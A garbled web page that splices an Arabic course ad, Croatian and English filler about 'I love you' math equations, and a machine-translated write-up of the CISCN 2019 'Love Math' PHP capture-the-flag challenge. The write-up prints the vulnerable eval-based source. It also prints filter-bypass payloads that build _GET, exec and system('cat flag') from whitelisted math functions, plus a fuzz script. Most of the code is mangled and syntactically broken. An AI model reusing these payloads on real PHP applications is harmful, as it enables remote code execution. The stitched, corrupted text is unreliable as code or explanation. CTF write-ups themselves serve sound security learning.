I love math

تعطي جميع مفاهيم اختبار القدرات العامة بقسميه الكمي واللفظي بأجمل الأسئلة والحلول السريعة إضافة لشرح Love Mathematics أكثر من 30 ساعة تدريبية مسجلة وأكثر من 5 ساعات مباشرة دورة احترافية مكثفة من أكاديمية Share Home Maths Club Vedic Maths Classroom Contact © 1996-2014, Amazon.com, Inc. or its subsidiaries 2019 National Student Information Security Competition ciscn-writeup (4web) CISCN2019Web WP source code is as follows: <?php error_reporting (0); I hear you love math very much, I don't know if you love it more than a love flag if (isset (\$_GET'c')) show_source (__FILE__); second s/example c with 20-1 \$content with _GET s'c'; if (stubble (\$content) > with 80) dies (too long not to count); } \$blacklist = ['t, r, \, , \[, \.]; foreach (\$blacklist as \$blackitem) { if (preg_match(/ \$blackitem . 'm', \$content)) (Please don't get into strange characters); \$whitelist abs, acos, acosh, asin, asinh, atan2, atan, atanh, base_convert, bindec, ceil, cos, cosh, decbin, dechex, decoct, deg2rad, exp, expm1, floor, fmod, getrandmax, hexdec, hypot, is_finite, is_infinite, is_nan, lcg_value log, max, min, mt_getrandmax, mt_rand, mt_srand, octdec, pi, pow, rad2deg, rand, round, son, son, sinh, sqrt., tan, tanh]; preg_match_all(/([a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*, \$content, \$used_funcs); foreach (\$used with funcs with \$func) with if (!in_array (\$func, \$whitelist) dies (Please do not get into strange functions); Help you understand the answer eval ('echo'. \$content.' '); You can see the problem of construction RCE, analysis and filtering can be used: a white sheet of mathematical functions ..., , etc., while the length is limited to 80 characters there are two ideas, before there are several characteristics of PHP to be familiar with. Php dynamic functions can transfer a function name through a string to a variable, and then dynamically call a function through this variable for example: \$function with sayHello; \$function); The name of the function in PHP defaults on wires such as asinh and pi in this white list may be directly different or different, which increases the choice of constructing characters The idea of one or 80 characters is smaller, and find a way to construct \$_GET and then forward to getflag, but actually seems harder to construct that. Because \$, it's not useful, and gett has to be capital, it's hard to build directly. Increase in \$pi base_convert capacity (37907361743, 10.36) (dechex (1598506324)) ;(\$ \$pi \$pi) analysis: base_convert (37907361743.php, 10.36) - > hex2bin dechex (1598506324) - > \$pi s/hex2bin (5f474554) s/> \$pi s _GET/hex2bin converts a string of 16-step numbers into binary strings (\$ \$pi) s/abs) (\$ _GET) (\$ _GET) (\$abs) //? can replace the other payload is this \$pi s base_convert.\$pi (696468, 10, 36) (\$pi \$pi <4> (876839709011664438, 10, 30) () {1}) Analysis: base_convert (696468, 10, 36) exec \$pi (876839709011664438 {1}, 10, 30) , echo can output echo xx, yy since you can't \$_GET, then header pass idea two directly find a way catflag is also available // exec ('hex2bin ('dechex (109270211257898)?> exec ('cat f') (\$pi s base_convert))(10927021257898)?> exec ('cat f') (\$pi?base_convert) 22950.23.34) (\$pi (76478043844, 9,34) (dechex (109270211257898))) //system ('cat.dechex(16) system ('cat') base_convert (1751504350, 10, 36) (base_convert (15941, 10, 36) (dechex (16) sinh'pi) Idea III The preceding ones use the mathematical function of the whitelist to convert the numbers into strings, which can actually be a \$payload fuzz script. 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atan', 'atan', 'bindec', 'ceil', 'cos', 'decbin', 'decoct', 'deg2rad', 'exp', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log10', 'log1p', 'log', 'max', ',= 'min', '= 'mt_getrandmax', '= 'mt_rand', '= 'mt_srand', '= 'octdec', '= 'pi', '= 'pow', '= 'rad2deg', '= 'rand', '= 'round', '= 'sin', '= 'sinh', '= 'sqrt', '= 'srand', '= 'tan', '= 'tanh']; = for(\$k=?><=sizeof(\$payload); \$k++){ for(\$i=0, \$i><=sizeof(\$payload); \$k++){>< 9; = \$i++){= for(\$j=0, \$j><=9; \$j++){ \$exp=\$payload[\$k] ^= \$i.\$j; = echo(\$payload[\$k].'^\$i\$'.==>\$exp); eho
 The last payload: . (tan^(1. (5)); \$pi=\$ \$pi, \$pi(0) (\$pi{1}) . Unfortunately, I'm too dishy. Be sure to look for opportunities to systematically learn php, do their own development, so as not to float on the surface. Matematika je ljubav. Siguran sam da će većina vas reći da griješim, ali onda ćete pogledati video u nastavku i priznati svoju pogrešku. Moglo bi se reći volim te jednostavnom jednađbom ili možeš razviti jednađzbu ljubavi. Kladim se da bi većina djece stvarno željela znati kako ova jednađzba funkcionira dok su još u visokoj školi i tako osvojiti srce svoje omiljene djevojke. Možda da učitelji reklamiraju matematiku na ovaj način, imali bismo više genija nego ikad prije. Mislim, ne bi li stavio taj dodatni trud i strast u matematiku da bi mogao riješiti jednađzbu ljubavi i doći na ples sa svojom dragom? Možda je život sam po sebi jednađzba koja do sada nije riješena i koja treba puno misli i strasti i znanja i umjesto da je promatrate pod mikroskopom, mogli biste je samo opisati olovkom i bijelim listom papira. Ali ljubav mora biti kompliciranija od života sama po sebi, zar ne? Barem tako izgleda kad si u školi i uvijek buljiš u tu jednu djevojku koja bi mogla. </=9; \$j++)>A lifetime a thousand times better with just a smile. So to get that girl's attention and really impress her, you need to send her a message containing the equation I Love You. That'll win her over very soon. You don't have to be a nerd, we solved the equation, right here, for you! Enjoy! [the_ad id=71925] If it's too complicated, you can try this one. It's simpler and just as beautiful. What do you think? Is it worth the effort? We say it is. Math is not such an ugly thing There is another cool way to say I love you with math, see the picture below: And if you are really creative, but not so much on the analytical side, this sweet trick is just for you: Don't forget to share the mathematical equation I love you with friends so they too can find the love of their lives. too much.
